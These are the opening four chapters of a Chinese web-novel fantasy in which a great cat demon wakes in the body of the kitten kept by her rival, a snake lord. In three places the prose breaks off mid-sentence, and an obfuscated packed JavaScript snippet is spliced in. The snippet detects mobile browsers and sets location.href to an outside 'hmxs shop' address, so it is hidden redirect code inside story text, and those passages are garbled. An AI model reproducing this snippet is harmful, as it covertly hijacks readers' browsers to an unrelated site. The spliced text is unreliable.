《小猫咪今天捣乱了吗》 1. 第一章 “禀尊上,据观星者言,鬼市还有两月开启,属下已按照您的吩咐,提前在天霄门附近安插好了人手,除了玉面狐那边以......” 一道清越年轻的声音在虞窈耳边不远处响起,话音里满满都是对上位者的恭敬与尊崇。 虞窈此时眼皮子在疯狂打架,脑袋也有点晕晕乎乎的,不大清醒,以至于那人说的话几乎什么都没有听清。 昏迷前闻到的毛发烧焦的气味消失不见,取而代之的是一股清冽干净的松木冷香,沉郁萦绕在鼻尖,存在感极强。 很好闻。 也,很奇怪。 不对,她的妖峰里为什么会出现外人的声音。 再者,她也从来不用这个味道的熏香啊。 危险警报瞬间就在虞窈的脑海里拉响,她下意识地想要运转妖力,却发现体内原本磅礴浩瀚的妖力竟不知去向,连分毫都调用不出。 只能发出一声绵软无力的“咪呜”来。 噢,她想起来了。 这是她第三次冲击炼虚期失败,体内所有的妖力都被她用来抵御雷劫,只可惜身上柔顺的毛发还是在她力竭昏迷前被无情的天雷劈得焦糊糊。 可是,猫只是想早日飞升,成为一只神仙猫,猫又能有什么错呢? 虞窈是一只很厉害又很爱干净的灵猫大妖,在渡劫前,她特地用上好的芷岚花将自己洗得香喷喷,白软软。 然而现在,猫都快要被劈成黑煤炭啦。 一想到这,尚虚弱着的虞窈忍不住伸出前爪,想要舔舔自己被劈成了小黑煤球的肉垫。 却在看清眼前干净粉嫩的山竹爪爪时怔然一瞬。 咦,不对呀。 她的焦炭爪爪到哪里去啦? 虞窈紧接着更加震惊地发现,她的脚脚比起原来也袖珍了许多。 雪白柔软的绒毛覆在短短的腿上面,粉白色的肉垫随着她的心念开开合合,爪爪开花。 除了细缝里还有几簇尚未修剪干净的短小绒毛以外,一瓣肉垫上居然还多出了一小块红色的心形印记。 就像是浪漫的粉色花瓣海洋里,凭空掉落了一瓣艳红色的落梅。 短腿,白毛,肉垫上的红色印记。 虞窈越看越觉得事情不大对劲—— 第一,虽说她的妖形也有一身漂亮柔顺的雪白毛发,但不管哪只肉垫上,都没有这样的红色心形印记。 第二,这些特征乍一看好像没什么特殊的,可是全部堆在一起,怎么就这么像极了传闻里晏岐那条臭蛇养在身边的那只幼猫呢。 虞窈慢吞吞地抬起头来。 随着视线逐渐恢复清明,她也将眼前的一切尽收眼底。 首先映入眼帘的是陌生冰冷的空旷大殿,古兽铜灯高悬于房梁之上,两侧香炉里各燃着根细长的檀香。 青色云烟虚幻缥缈,幽幽直上。 虞窈皱了皱并不存在的眉毛,身后长尾轻晃。 这是什么地方?猫好像从未来过。 而且,这视角怎么看着这么奇怪,所有的一切似乎都变成了放大版。 就算隔着这么远,那香炉里的檀香瞧着都比猫要高。 猫是在做梦吗? 大殿两侧还分立着数只身形各异的妖兽,除此之外,还有两名玄衣人正姿态恭敬地单膝跪于殿前。 其中一人身形清隽利落,旁边那位瞧着则要稍微娇小一点。 宽大的墨色斗篷完全遮挡住了两人的面庞,虞窈对二人的身形轮廓倒是有几分熟悉。 来不及思考这微妙的熟稔感究竟从何而来,一声懒倦的轻嗤先一步落入了虞窈耳里。 那声线凉薄,靡丽的嗓音里含着不加掩饰的轻蔑之意:“区区玉面狐一党,掀不起什么大风大浪。” 随着男人的尾音轻缓落下,一只玉白修长的指尖漫不经心地搭在了虞窈的背上,同时携来无尽寒意。 虞窈瞬间就被这非人的冰冷温度激得炸了毛,又在听清这过于熟悉的声线后骤然变得僵硬起来。 她大脑嗡鸣一瞬,意识到自己现在正被说话之人抱在怀里,有些不可置信地仰头看向了声音来源的方向。 那人放大了的妖孽面庞就这么毫无遮掩地出现在了虞窈面前。 由于近在咫尺,便显得格外地有冲击力。 男人长相阴郁,棱角分明,薄唇微微抿着,眼下还缀着一颗不起眼的红色小痣。 他明明在垂眸看她,冷白长指抚在虞窈背上的力道轻柔,可虞窈却能明显地感觉出来,男人的心神其实压根就没有放在她的身上。 那过于淡漠的眼神无波无澜,与其说是在怜惜自己养在身边的爱宠,倒不如说只是在看一只随时都能够被轻易捻死的蝼蚁罢了。 怎么会有人舍得用这么冷漠的眼神看可爱的小猫咪,怎么可以! 人坏,猫好。 只可惜,虞窈这会儿没心思讨伐这人的“恶毒”行径。 她径直对上那双她再熟悉不过的墨绿色竖瞳,实在是没忍住,在心里五味杂陈地呵呵了两声。 哈哈,把“像极”去掉。 猫不想活啦^_^ 虽然不知道事情为什么会演变成如今这副模样,但近在眼前的晏岐证实了她的猜想。 ——她居然真的变成了晏岐养在身边的那只妖宠。 是在渡劫的时候,她的魂魄被天雷阴差阳错地劈到了这猫儿的身上? 还是说,其实她在渡劫的时候已经死了,神魂却没有进入轮回,而是莫名其妙地穿成了这只猫? 不过,无论究竟是出于哪种原因,虞窈都无法接受。 让她变成晏岐的妖宠?那还不如让她在渡劫的时候直接被天雷给劈死算了! 毕竟,巫云峰那只活了千年的灵猫族的大妖虞窈与妖界的晏岐蛇尊不对付是整个妖界都人尽皆知的事情。 灵猫一族常年不问世事,四海为家,虽不在蛇尊的管辖范围内,但也能说得上是一句井水不犯河水。 ——本该如此。 直到某次与不服蛇尊管教的羽鸟一族开战时,众妖打着打着,战况便波及到了虞窈所居住的巫云峰。 巫云峰有灵猫族的特殊结界庇护,本影响不到虞窈。 然而,众妖们施展的术法却阴差阳错地轰到了巫云峰边上的流清湖里,瞬间就将整条湖泊都给夷为了平地。 湖里的千千万万条小鱼自然也无法幸免,待到虞窈匆匆赶到时,只给她留下了寥寥几条小鱼干。 真·被术法炸糊了的·小鱼干。 流清湖是湖周围好几座村镇的村民为了感谢虞窈这些年来对他们的庇护与帮助,特地赠送给虞窈作为谢礼的。 村民们长年以渔为生,除了流清湖以外,每每捕到了什么大鱼,也会主动“放生”几条进流清湖里,供虞窈日后享用。 然而虞窈辛辛苦苦囤积了这么多年的鱼粮,就在妖界与羽鸟族的这一战中,成为了最最无辜的牺牲品。 怒气冲冲的虞窈二话不说变回妖形,足有五米长的灵猫大妖就这样冲进战场,气急败坏地质问道。 “是哪个挨千刀的不长眼睛,扔的那个绿不溜秋的术法?居然敢把我的湖给炸了?!” 闻声,还在打得不可开交的双方面面相觑,不约而同地都停了下来。 小妖们生怕被灵猫大妖的怒火迁怒,下意识地纷纷往后退了几步,露出了战场最中央的晏岐蛇尊来。 长身鹤立的男人化出了一半妖形,片片蛇鳞爬满了他的脖颈,一直蔓延没入了衣襟之下。 硕大的暗色蛇尾盘踞在了一块巨石上面,周身还萦绕着经久未散的幽绿色焰息。 那双狭长的墨绿色竖瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004140|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 循着虞窈的声音平静地看了过来,猩红的蛇信若隐若现,男人并未说话。 虞窈却从晏岐那倨傲冷漠的眼神中读出了再明显不过的九个字。 ——“是本尊。如何呢,又能怎?” 架倒是没打起来。 毕竟晏岐身边还有那么多只妖兽,而虞窈只有一只猫“孤军奋战”。 她又不傻。 不过自那以后,灵猫大妖与晏岐蛇尊的梁子就这么结了下来。 妖界蛇尊传信用的信鸽只要从巫云峰的山顶飞过,虞窈就二话不说地用妖力打下来炖汤喝。 携带着妖界令牌的小妖一旦在巫云峰的附近晃悠,虞窈便毫不犹豫地将小妖抓进来毒打一顿再丢出去。 蛇尊进入哪个哪个秘境的风声传出来,虞窈也会立马暗搓搓地跟进去,各种使绊子、抢秘宝。 ——只要是能给晏岐添堵的事情,虞窈什么都愿意去做。 毕竟,人在做坏事的时候是不会觉得麻烦的。 猫也一样。 再后来,妖界的信鸽开始绕着巫云峰飞,妖界的小妖不敢再往巫云峰乃至流清湖跑,和蛇尊有关的消息,也基本上全都封锁了起来。 就连蛇尊养了只幼猫这种无关紧要的小事,虞窈也是前不久才从别的小妖那里听到的风声罢了。 虞窈本就因最近找不到机会给晏岐使绊子而愁得头秃,偏偏如今还摇身一变,成了晏岐养在身边的猫。 奇耻大辱,简直就是猫生的奇耻大辱! 大殿上,晏岐还在抚摸虞窈柔软的毛发。 粗大的暗色蛇尾垂耷在铺满地毯的青石台阶上,泛着幽光的尾尖漫不经心地一下下轻点着地:“对了,月女。” “巫云峰那边,近来可有什么异动么?” 那道身材娇小的玄衣人闻言低目垂首,恭敬答道。 “禀尊上,昨夜子时时分,巫云峰的上空有黑云伴随着金光翻涌,天雷降世,应是那只灵猫又在渡劫。” 月女声音清脆干净,听着年纪不大。 “噢?”晏岐终于抬眸,视线轻飘飘地落在了月女身上,“是么。” “不过,四十九道雷劫降完后,巫云峰并无别的异象发生,应是那灵猫又渡劫失败了。” 换来晏岐的一声轻呵:“笨猫就是笨猫,渡不了劫也是意料之中罢了。” 话音刚落,大殿之下立马就有妖跟着附和:“就是就是,那灵猫连劫都渡不过去,居然还敢与尊上您作对,真是不知道自己几斤几两。” “也就是尊上您大人有大量,不与那灵猫计较。” “否则的话,咱们早就去把她的巫云峰给掀个底朝天,将她那一身灵猫皮剥下来给您做毯子了。” 正在尝试运转妖力但依然无事发生的虞窈:“?” 等等等等。 什么叫又渡劫失败? 什么叫笨猫就是笨猫? 什么叫渡不了劫也是意料之中? 这些话猫儿怎么就这么不爱听呢! 渡劫失败以及莫名其妙变成死对头的妖宠这两件事加在一起,本就足够令虞窈心烦意乱的了。 结果现下还无法调动妖力、变回人形,只能听晏岐和这些属下一唱一和地“嘲讽”自己,更是气不打一处来。 虞窈看着跪在殿前的玄衣人以及众妖兽,又扭头瞅瞅晏岐近在咫尺的脸庞。 行。 变不回去是吧? 敢当着这么多妖的面骂她笨,还要掀她的巫云峰、扒她的皮做毯子是吧? 虞窈想也不想就抬起粉嫩嫩的干净肉垫,蹦跶起来往晏岐那张好看又欠揍的脸上猛地抓了一下。 “喵——!” 小东西,她啊呸。 猫今天挠不死晏岐这条讨人厌的臭蛇,给蛇点颜色瞧瞧,猫就不叫虞窈! 2. 第二章 方才还妖声鼎沸的大殿顿时安静了下来,鸦雀无声。 一时静得恐怕连根针掉在地上都能听到。 众妖兽不敢吭声,皆不可置信地怔怔望着大殿上的一妖一猫,又自觉地迅速垂下首,纷纷怀疑起自己的眼睛来。 是,幻觉么? 他们没有看错吧?方才尊上怀里的那只猫,是突然跳了起来,然后用爪子往尊上的脸上来了一下......对吧? 可是,这又怎么可能呢? 那只开了智的小狸奴自从前段时间被献给尊上以后,一直都绷着尾巴,无比地乖顺听话。 别说是做出抓挠尊上这种大不敬的举动了,平时尊上与他们这些属下在妖殿里议事的时候,就连发出轻微的猫叫声都不曾有过,俨然一副惧极了尊上的样子。 今日怎会跟变了只猫似的,有胆子抓人了? 再者,那可是尊上啊。 统领整个妖界的尊主,令人闻风丧胆、妖界之中实力最为强劲的远古蛇妖,居然被一只只有两三个月大的幼猫挠了脸? 这事要是传出去,谁不说一句是他们这些属下练功练得走火入魔、净会胡说八道了? 突兀的“啪嗒”一声响,打破了这过于静谧诡异的氛围。 ——有妖兽捧着的法器不慎掉在了地上,却也不敢弯腰去捡。 那只妖甚至吓出了一身冷汗,被自己弄出来的动静惊得下巴都快掉下来,只得拼命缩起了脖子,试图将自己的存在感降到最低,生怕尊上的怒火会波及到自己身上。 在场的其他妖兽颇为同情地瞟了他两眼,又不约而同地开始暗自猜测小猫的死法。 是会被尊上剥皮抽筋,把扒下来的皮做成毯子?还是扔到万兽窟里,让洞窟里那群未开灵智的凶兽们分食干净? 亦或是直接丢给鬼草谷的那个炼药疯子好了,简单又省事。 毕竟,妖界的所有小妖宁愿死在尊上的手里,也不愿有朝一日落到鬼草谷谷主迟离手上,成为他的试药傀儡。 众所周知,迟离那疯子什么药都想炼,什么药都要炼,药效轻则酥筋软骨,重则烧心灼身、脏器皆腐,求生不得,欲死不能。 那可谓是整个妖界最为残酷痛苦的刑罚,每每尊上心情不佳时,就会干脆利落地把人发配去鬼草谷。 这也是这只惹到了尊上的小猫咪现如今最有可能得到的下场。 然而妖兽们等啊等,等到冷汗都快要从鬓角上滴下来了、腿也快站软了。 忽然,大殿之上传来一声极低的轻笑。 妖兽们皆错愕地抬起眼来。 受万妖尊崇的晏岐蛇尊的脸上并没有出现他们以为会有的愠怒之色,相反,他凝着那只小白猫的眼神十分平和。 男人乌黑的长发顺着肩头滑落,稍有些凌乱地垂在了腰际,有几缕发尾泛着不起眼的幽绿色,像极盘踞其上、伺机而动的蛇。 晏岐低垂着的眼睫浓密似鸦羽,颊上白到不似常人的肌肤生出了一道极轻极浅的红痕,是被那猫儿方才抓出来的痕迹。 下一秒,那道不起眼的红痕被玉白的指腹完全盖住。 手指微动,将渗出来的血迹一点点抹了去。 一妖一猫就这样默不作声地对视着,那只巴掌大的狸奴瞧着像是丝毫不觉自己做了什么了不得的壮举般。 一双漂亮的鸳鸯眼反而理直气壮地望着晏岐,颇有种初生牛犊不怕虎的架势。 蓬松的大尾巴还在身后一甩一甩,得意洋洋的神情哪里还有往日里那副只会蜷缩起来瑟瑟发抖的无趣模样。 猫:O.o 就抓你怎么了?小样儿。 挑衅jpg. 晏岐幽绿色的竖瞳微微眯起,就这样无言打量了小猫一会儿。 忽而眼尾上挑,慢悠悠地弯起了唇角。 尽管晏岐唇角那一抹充满玩味的笑意转瞬即逝,但大殿之下的妖兽们还是精准捕捉到了这一幕。 众妖兽皆瞠目结舌,忍不住想要用手揉揉眼睛。 疯了疯了,真是他们练功练疯魔了罢。 要不然尊上被这猫儿抓了以后,怎会非但没有发怒,居然还......还笑了出来? 不,不对。 肯定是尊上被这只胆大包天的小猫气疯了才会怒极反笑,在尊上笑完之后,等待小猫的绝对是更加严峻折磨的惩罚。 嗯,没错,一定就是这样。 然而,令众妖们没有想到的是,紧接着的下一秒,尊上的视线便从小猫的身上移了开来。 晏岐阖上眼,骨节分明的食指按了按太阳穴,足有十米长的蛇尾缓慢收回,盘踞在了身下。 男人一副困乏了的样子,声音也是极懒倦的:“若没有别的事要禀,就都散了吧。” 闻言,妖兽们面面相觑,谁也摸不清尊上的意思。 还是跪在月女身边的日尧蹙着眉心上前一步,垂首请晏岐指示。 “那尊上,是要将这猫剥了皮做成毯子,还是扔去万兽窟,亦或是直接送去迟谷主那里?” 上一秒还气焰嚣张的虞窈:? 饶是猫不问世事多年,也曾不经意间从别的小妖口中听过万兽窟和鬼草谷的大名,自然清楚日尧问这话的言外之意。 真小气,她不就是抓了一下晏岐的脸么?你们妖界就是这么对待可爱的小猫咪的? 小白猫悄咪咪夹紧了尾巴,左脚虚空踩了踩右脚。 怂了,但不想承认。 喵。 似是察觉到了掌中小猫的不安,晏岐以手支颐,好整以暇地睁眸低瞥了小猫一眼。 蛇尊瞳眸轻转,静默了片刻后,才慢条斯理启唇。 “自然是先送去鬼草谷供迟离试药,待彻底没有了利用价值之后,再扔去万兽窟叫那群凶兽把它的血肉分食干净,剩张皮回来做毯子才对。” 闻言,大殿之下的妖兽们立时眼露凶光:没错,这个味儿就对喽,这才是他们那个冷血狠辣的妖界尊主嘛! 他们就说,尊上怎么可能这么轻易就放过了这只吃了熊心豹子胆的小猫咪,原来是在这里等着小猫呢。 窝在晏岐手心里的虞窈则一时不敢相信自己的耳朵。 等会儿,她没听错吧?晏岐这条臭蛇怎么可以全部都要?! 果然,臭蛇就是臭蛇,睚眦必报,头发黑心也黑,居然敢这样对待小猫咪,真恶毒!真不要脸!真不是个人! 虞窈想也不想便挣扎着要逃。 毕竟,士可杀不可辱,灵猫族的大妖可不能就这样轻易让人摆布,更别提对方还是她的死对头。 虽说以她目前这具羸弱不堪的身体,想要逃出这座妖兽环伺的大殿的概率几乎为零,但坐以待毙更加不是她虞窈的作风。 总而言之,先逃了再说。 虞窈挥舞着一双小短腿,正要从晏岐的掌心里一跃而下。 还没来得及腾空落地,就被一只冰冷的大手无情地拎住了命运的后脖颈。 她立马咪咪喵喵地愤愤叫起来,略显凄厉的猫叫声顿时响彻了整个大殿,一向冷冷清清的妖殿霎时间都变得“热闹”了起来。 有妖兽嫌吵,趁自家尊上此时没空注意这边,偷偷施了个术法,把半边耳朵给堵了起来。 ——虽然听不懂这小猫咪在喵喵喵地叫些什么,但总觉得她骂得很脏,还是不听为妙。 晏岐的神色倒没什么变化。 他漫不经心地把小猫重新提溜回跟前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004141|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修长冷白的食指轻拨了拨她毛茸茸的耳朵。 小白猫耳朵尖的位置上,长着一撮不起眼的细小绒毛。 男人的目光不着痕迹地从那一小撮绒毛上移开,淡声道:“跑什么?方才抓挠本尊的时候,不是抓得挺欢的么,现在为何又不抓了?” 虞窈想跑没跑成功,这会儿听着晏岐这更像是在挑衅猫的话,更是气得不行。 连带着一身柔软干净的毛发都快要像蒲公英一样朝着四周炸开。 废话,死臭蛇都要这样那样对待她了,她还傻愣着不跑作甚? 她可对拿自己的皮给死对头做毯子这档子事没任何兴趣。 却又听晏岐继续说道:“这样吧,既这般喜欢抓挠本尊,本尊就再给你一次抓本尊的机会,你好好把握住,如何?” 小狸奴自送来前就已开了智,和她就这样说话交流,也不用担心她会听不懂。 果然,小白猫那张生动的猫猫脸上立时就出现了片刻的怔愣神情:“......?” 哈?她虞窈这辈子就没听过这么奇怪的要求。 行,要猫抓是吧?猫满足你就是。 巴掌大的小白猫毫不犹豫地扬起软乎乎的白手套,愤愤就朝着晏岐的脸上再度呼去。 底下的一众妖兽一口凉气还没有倒吸完,就见自家尊上淡然抬手,径直将小猫咪的肉垫拦在了半空中。 虞窈尝试着挣扎了一下,没能将前爪从晏岐的手里挣脱出来,只能气极瞪他一眼。 挡什么挡,小猫打你带起来的空气都是香的,打你你就受着不行吗。 更何况,不是你自己刚才求着猫抓你的吗?猫真抓了你又不乐意了,真装。 像是看懂了小白猫在想些什么似的,晏岐眼睫轻抬。 “本尊只说了,允你一次抓本尊的机会,可没说本尊不能还手,是你自己没有把握住。” 男人的语气里充满遗憾:“真可惜呐。” 虞窈满头问号:? 不是,你玩赖的? 这和人间集市上那些套中圈就能把圈中奖品带走,掌柜的却在圈即将套中奖品时、一脚直接把圈给踢飞了有什么区别? 亏你还是妖界一方领主呢,居然这么戏弄一只小猫,真是连脸都不要了。 意识到自己被戏耍了,小白猫毛茸茸的大尾巴垂在半空中晃了又晃,气得忍不住直蹬腿,俨然又想要往晏岐那清俊阴美的脸上踢。 大有恨不得直接将这张过于欠揍的脸踢得稀巴烂之势。 一股强劲的气流却在此时稳稳托住了小白猫的身体,不顾小猫咪的挣扎,径直便将她往月女的方向送。 这是与小猫玩够了的意思。 见状,月女连忙伸出手,小心翼翼地将小猫咪接入了怀中。 身为晏岐的暗卫之一,月女和日尧一样,平日最得晏岐信任。 不管是杀人还是审讯,亦或是执行秘密任务等这之类的事情,晏岐基本上都交由了他二人去做。 只不过,小白猫平时都是交给了妖殿的妖仆们负责,到不了他们手上。 这还是月女生平第一次抱猫。 自从和日尧一道被晏岐捡回妖界后,她的双手向来只沾满鲜血,还从未触碰过这么小又柔软至极的活物。 以至于月女下意识就放轻了力道,生怕自己一个没注意,就将小小一只的可怜狸奴给捏死了。 只是经由尊上和小猫这么一折腾,月女更加琢磨不透自家尊上的意思了。 她略显呆愣地用双手捧着软乎乎的小猫,转头与日尧对视一眼,再迟疑地抬眸望向大殿上座那抹矜贵慵懒的身影。 “尊上......” 这万兽窟和百草谷,还送吗? 3. 第三章 晏岐并未看大殿之下的少女,只垂眸从袖袍中拿出一张干净的巾帕,慢条斯理地将方才抱过猫儿的手指一根根仔细擦干净。 随即便兴致缺缺地挥了挥手,粗长昳丽的蛇尾也慢慢从铺满地毯的青石台阶上收了回去。 “你就与日尧一道,把它送回它本该待着的地方去吧。” 闻言,月女心下顿时明了。 垂首称是的同时,又用掌心在侧面护着小猫,不着痕迹地把小白猫往怀里拢了拢,生怕它在不停挣扎的过程中,不慎从自己的怀里掉到地上。 虞窈还在不服气地冲着晏岐的方向“骂骂咧咧”。 擦什么手!抱过小猫咪的手究竟有什么好擦的!被她这么可爱的小猫咪碰过,就应该十天半个月都不洗手才对好不好! 一般人想要摸她的毛毛都还摸不到呢!晏岐这条臭蛇抱了她不对她感恩戴德也就算了,居然还敢这么嫌弃地擦手,她都还没嫌他的手脏呢! 众妖兽顿时将脑袋垂得更低了:听不懂。但骂得好脏,真的好脏。 月女则抱着小猫咪,加快了退出妖殿的速度。 其余妖兽迅速行过礼,也如潮水般稀稀拉拉地有序退离了妖殿。 出了妖殿,众妖们才像是终于缓过气来,很快又七嘴八舌地闹开。 一只鱼头人身的妖兽凑到月女跟前,歪头打量起被她护在怀里的小猫咪。 “咦,我瞅着这只小狸奴与之前也没有什么不同呀,咱们议事那会儿也都好好的,怎么突然就跟见到了仇人似的,跳起来抓尊上......诶诶,松爪!你快松爪!” 鱼头妖话还没说完,叫叫嚷嚷着就要用手拍开正伸着爪子勾住自己衣袖的小白猫。 没等他一巴掌呼到小猫的脑门上,一道黑雾便及时挡在了他与小猫中间。 操纵着黑雾的日尧冷面拂开鱼头妖的手,低声训斥道:“下手这般没轻没重,若是伤了猫惹得尊上不悦,这里可没人护得住你。” 话虽如此,他低眸睨向月女怀里的小白猫,眉心却一直没好气地微微蹙着,像在不爽。 鱼头妖满头问号,鱼头妖也很委屈。 不儿,是猫先动手的,明明是猫先动手的,跟鱼没关系啊! 他高高扬起袖袍,小白猫近乎透明的爪尖还勾在上面,都快把他的新衣服给扯勾丝了。 鱼头妖于是伸出另一只手,指了指小猫咪的爪子。 瞧瞧,这就是证据。 众妖愣是从他那张过于古板呆滞的鱼脸上看出了柔弱且无助的表情:“我倒是能不动手,但是日尧统领,你能先让她把爪子给收回去吗?” 日尧:“......” 妖界的等级制度森严,以晏岐蛇尊为首,再往下是十二星守、二十下卫。 尊上议事一般只有星守级别才能参加,下卫并无资格,更不用说妖界里其他那些连名号都排不上的小妖了。 而像日尧和月女这样被单独划分出来的暗卫,则是完全独立于星守、下卫的存在。 蛇尊不在的时候,就属暗卫的权利最大,可统御除蛇尊以外的所有妖兽,以“统领”代称。 虞窈与沉默朝她看来的日尧对上视线,片刻后,慢吞吞地把肉垫收了回去。 重新趴回月女的手掌上开始无辜地揣手手。 OvO。 没办法,这只鱼头妖的身上飘着一股十分好闻的鱼的味道。 而这具身体又不是她的灵猫真身,一不小心就触发了底层逻辑,她实在是没忍住才...... 猫不是故意的。 喵。 另一只白狼妖也探头过来,边摸着下巴琢磨边插嘴道。 “我看这狸奴妖力微弱,这会儿行为看起来也挺正常的,会不会是太惧怕尊上,以至于应激了,才会有方才殿上那一出?” “喵?” 谁怕那条臭蛇了?猫才不怕! “你这么一说的话,好像也不无道理。” “喵喵。” 一点道理都没有! “这是不是就是所谓的‘把狗逼急了也会咬人’?” “喵喵喵!” 你才是狗,你才是狗! “那这只小白猫很勇了。” “咪呜~” 那确实,她是勇敢猫猫。 “好啦好啦。”眼看着怀里的小白猫渐渐又不安分了起来,月女适时开口,打断了众妖的议论。 “这只小狸奴好歹也是尊上的妖宠,何时轮到你们在这里指点谈论了。” “鬼市秘境现世在即,该做准备的就做准备去,这会儿在这里浪费时间作甚?” “若是不留心耽误了尊上的计划,在秘境里出了什么差池,当心尊上把你们的皮给剥下来当毯子踩唷。” 许是通过月女的话联想到了一些不太美好的回忆,围拢在一起的妖兽们脸色微变,更有甚者甚至还忍不住打了个寒颤,十分有默契地同时止住了话题。 十二星守们很快作鸟兽散,月女则护着虞窈,和日尧一道往一处偏殿走去。 抵达偏殿,神色还很不爽的日尧守在殿外,月女则将虞窈稳稳放到了柔软的地毯上,垂首同她讲。 “好啦,你就在这里乖乖待着,如若尊上传召,自会有妖仆来带你去尊上那里,知道了么?” 虞窈直接左耳朵进右耳朵出,没有搭理月女的话。 谁要晏岐传召了?那条臭蛇最好一辈子都别想起她才好。 小白猫一双炯炯有神的鸳鸯瞳睁得老大,沿着宫殿边缘昂首阔步地走了一圈,颇有些好奇地打量着这个陌生的新地盘,大尾巴翘得老高。 这座偏殿距离主殿稍有一段距离,看起来应是许久都没有人在这里居住过,里面的物什却一应俱全,更像是专门清理出了一座宫殿,用来养猫。 虞窈又扭过脑袋,仰头与月女对上视线,温吞地眨了眨眼。 从这个角度向上看去,月女的面容正好从宽大的斗篷之下完全显露了出来。 少女的长相清秀俏丽,脸瞧着稍微有些肉嘟嘟的,带着点不大明显的婴儿肥。 尚未完全长开的五官还藏着几分稚气,看起来顶多只有几百岁左右。 对于虞窈这种千年大妖来说,月女就和日尧一样,不过还只是个小孩儿罢了。 见月女还站在原地没动,虞窈想了又想。 巴掌大的小白猫随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004142|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵身跃上了一旁的阶梯爬架,连着往上跳了好几梯,然后探出毛茸茸的小猫脑袋,主动蹭了一下月女垂在身侧的手掌。 “咪呜~” 好啦好啦,猫看出来了你想要摸猫,那就给你蹭蹭好了。 虽说经流清湖一事后,虞窈对晏岐乃至晏岐身边的属下都没有什么好感。 但月女方才抱着她的动作还算温柔,比起晏岐那条臭蛇来好了不止千倍百倍。 而且,她很喜欢月女的长相,给猫的感觉十分舒服,月女的身上还隐隐约约有着一股她非常喜欢的蝴蝶气息。 猫是只大方、明事理的猫,且赏罚分明。 既然月女想摸,那就给她一个机会摸便是。 猫不小气。 在月女眼中,眼前的小狸奴不过是只才两三个月大的幼猫,自然对她没有什么防备。 以至于从手背上传来那猝不及防的柔软触感时,月女还稍微怔愣了一瞬。 那感觉轻如羽毛,又转瞬即逝,和方才主动抱着小白猫时的感觉大不相同,更多的是一种从心底升腾而起的异样满足感。 许是根本没有料想到虞窈会主动蹭她,清稚的少女瞳孔微缩,红润的唇瓣也因为过于吃惊而稍稍张开了一点。 她整只妖蓦地愣在了原地,满目不可置信地盯着爬架上的那只小狸奴,像是被什么从天而降的物什当啷砸中了后脑勺,需要思考妖生。 不知过去了多久,月女才终于有了动作。 只见少女一言不发地转过身去,头也不回地走出了偏殿,拽上候在门外的日尧,就骤然消失在了原地。 ——还是同手同脚的那种。 虞窈对此早已见怪不怪。 在她刚搬到巫云峰居住的时候,经常会变回和正常猫咪大小差不多的妖形,去附近的村镇上转悠。 虞窈最喜欢的事情就是在艳阳天找一块没有任何绿荫遮挡的大石头,整只猫四仰八叉地躺在上面,就这样懒洋洋地晒一整天太阳。 偶尔会有凡人从大石头旁边经过,余光会不经意间注意到她。 这些凡人通常会先捧着脸发出无声的尖叫,然后急匆匆地跑开,不多时再揣着尚热乎着的吃食回来。 虞窈最爱吃凡人做的肉包和大鸡腿,最不爱吃的就是干噎的烧饼了。 但虞窈是只很有礼貌的猫妖。 不管凡人们带来什么东西给她,虞窈都会用自己毛茸茸的脑袋先蹭一蹭凡人们的手掌,偶尔还会主动用湿漉漉的粉色鼻尖去碰碰他们的手指,以表感谢。 然后再开始慢悠悠地享用凡人们的“上供”。 被她蹭过的那些凡人的反应和方才的月女比起来,只能说是有过之而无不及。 虞窈一开始其实还有点不大明白。 对于小猫咪来说,蹭亦或是用鼻尖去碰凡人的手掌,只是小猫一种表达亲近的方式,有必要这么大惊小怪的吗? 但是很快,虞窈就自己把自己给说服了。 没办法,谁让小猫咪就是这么可爱且有魅力的呢。 凡人们会有那些反应,那是理所应当。 没有人能够逃过猫门定律,月女也是同理。 OvO。 4. 第四章 月女就这样头也不回地拉着日尧走了,偌大的偏殿里只剩下虞窈一只猫。 殿里既没有妖卫看守,也没有任何妖仆待命,只有一道无形的结界隔绝了偏殿与殿外。 ——既是保护,也是为了防止蛇尊的妖宠偷偷跑掉。 也是,从方才与晏岐的短暂接触中,虞窈能明显地感觉出来,晏岐其实对她这只所谓的妖宠并不怎么重视。 不然一开始也不会用那样的眼神看着她。 小白猫只有两三个月大,虽已开了灵智,但体内的妖力可谓是几乎没有,有一道结界作为最基础的保障已是远远足够。 只不过,要虞窈就这么安安分分地在偏殿里老实待着,是万万不可能的事情。 这座偏殿虽大体上什么也不缺,但和她山清水秀的巫云峰相比起来,那可就差得远了。 而且,她花重金请人为她在巫云峰上打造的清幽竹屋,没有了! 三个月前才做好送来的天鹅绒软床,也没有了! 